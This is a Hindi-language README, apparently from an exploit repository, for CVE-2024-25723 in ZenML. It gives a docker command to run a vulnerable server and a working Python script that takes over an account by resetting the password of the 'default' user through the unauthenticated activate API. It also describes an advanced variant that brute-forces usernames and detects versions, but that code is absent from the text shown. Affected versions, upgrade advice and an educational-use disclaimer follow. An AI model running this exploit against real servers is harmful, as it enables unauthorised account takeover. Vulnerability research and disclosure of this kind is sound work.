
CVE-2024-25723 के लिए शैक्षिक प्रूफ ऑफ कॉन्सेप्ट एक्सप्लॉइट, जो ZenML में API पासवर्ड रीसेट के माध्यम से अनधिकृत खाता अधिग्रहण, संस्करण पहचान और ब्रूट-फ़ोर्स उपयोगकर्ता नाम गणना का प्रदर्शन करता है।
यह रिपॉजिटरी ZenML में एक गंभीर सुरक्षा कमजोरी CVE-2024-25723 को संबोधित करने के लिए समर्पित है, जिसमें समस्या को स्पष्ट करने और शीघ्र शमन को प्रोत्साहित करने के लिए एक शैक्षिक प्रूफ ऑफ कॉन्सेप्ट (PoC) प्रदान किया गया है। PoC यह प्रदर्शित करता है कि कैसे एक अनधिकृत उपयोगकर्ता संभावित रूप से कमजोरी का शोषण कर किसी भी ZenML खाते का स्वामित्व ले सकता है।
docker run -it -d -p 8080:8080 --name zenml zenmldocker/zenml-server:0.46.0
import requests
base_url = "http://localhost:8080"
user = "default"
new_password = "3gx9AbzP92rfHhZ"
activate_api_url = f"{base_url}/api/v1/users/{user}/activate"
activate_api_headers = {"Content-Type": "application/json"}
activate_api_json={"password": new_password}
activate_api_response = requests.put(activate_api_url, headers=activate_api_headers, json=activate_api_json)
print(activate_api_response.json())
PoC और उन्नत शोषण के बीच अंतर यह है कि उन्नत शोषण सबसे अधिक उपयोग किए जाने वाले उपयोगकर्ता नामों को ब्रूटफोर्स करता है और एक API के माध्यम से यह पता लगाने में भी सक्षम है कि संस्करण कमजोर है या नहीं, जो ZenML संस्करण लीक करता है। उन्नत शोषण का उपयोग करने के लिए निम्नलिखित कोड को एक फ़ाइल में सहेजें:
इस शोषण को चलाने का आदेश है:
python3 advanced-exploit-CVE-2024-25723.py https://example.com
0.46.7 से नीचे के सभी ZenML संस्करण कमजोर हैं, निम्नलिखित पैच संस्करणों को छोड़कर: (0.44.4, 0.43.1, 0.42.2)।
इस जोखिम को कम करने के लिए नवीनतम संस्करण (0.46.7 या उससे ऊपर) या पैच किए गए संस्करणों में से एक (0.44.4, 0.43.1, 0.42.2) में अपग्रेड करें।
इस रिपॉजिटरी में प्रदान किया गया प्रूफ ऑफ कॉन्सेप्ट (PoC) केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए है। जानकारी और कोड का उपयोग साइबर सुरक्षा पेशेवरों और शोधकर्ताओं द्वारा सॉफ्टवेयर और सिस्टम में कमजोरियों को समझने और उनसे बचाव के लिए किया जाना है। इस PoC, संबंधित जानकारी या कोड का पूर्व पारस्परिक सहमति के बिना लक्ष्यों पर हमला करने के लिए कोई भी उपयोग अवैध और सख्त वर्जित है।
इस PoC का उपयोग करके, आप सहमत हैं कि आप इसके द्वारा प्रदर्शित कमजोरी के संभावित प्रभाव को समझते हैं और आप इसका जिम्मेदारीपूर्वक और नैतिक रूप से उपयोग करेंगे। इस PoC के लेखक इस सामग्री के किसी भी दुरुपयोग या प्रदान की गई जानकारी और कोड के उपयोग से होने वाली किसी भी क्षति के लिए किसी भी देयता को अस्वीकार करते हैं। सभी लागू स्थानीय, राज्य, राष्ट्रीय और अंतर्राष्ट्रीय कानूनों का पालन करना अंतिम उपयोगकर्ता की जिम्मेदारी है।
लेखकों ने इस रिपॉजिटरी में प्रदान की गई जानकारी की सटीकता और विश्वसनीयता सुनिश्चित करने के लिए हर संभव प्रयास किया है। हालांकि, जानकारी बिना किसी वारंटी के "as is" प्रदान की गई है। लेखक निहित जानकारी की सटीकता, सामग्री, पूर्णता, वैधता या विश्वसनीयता के लिए कोई जिम्मेदारी या देयता स्वीकार नहीं करते हैं।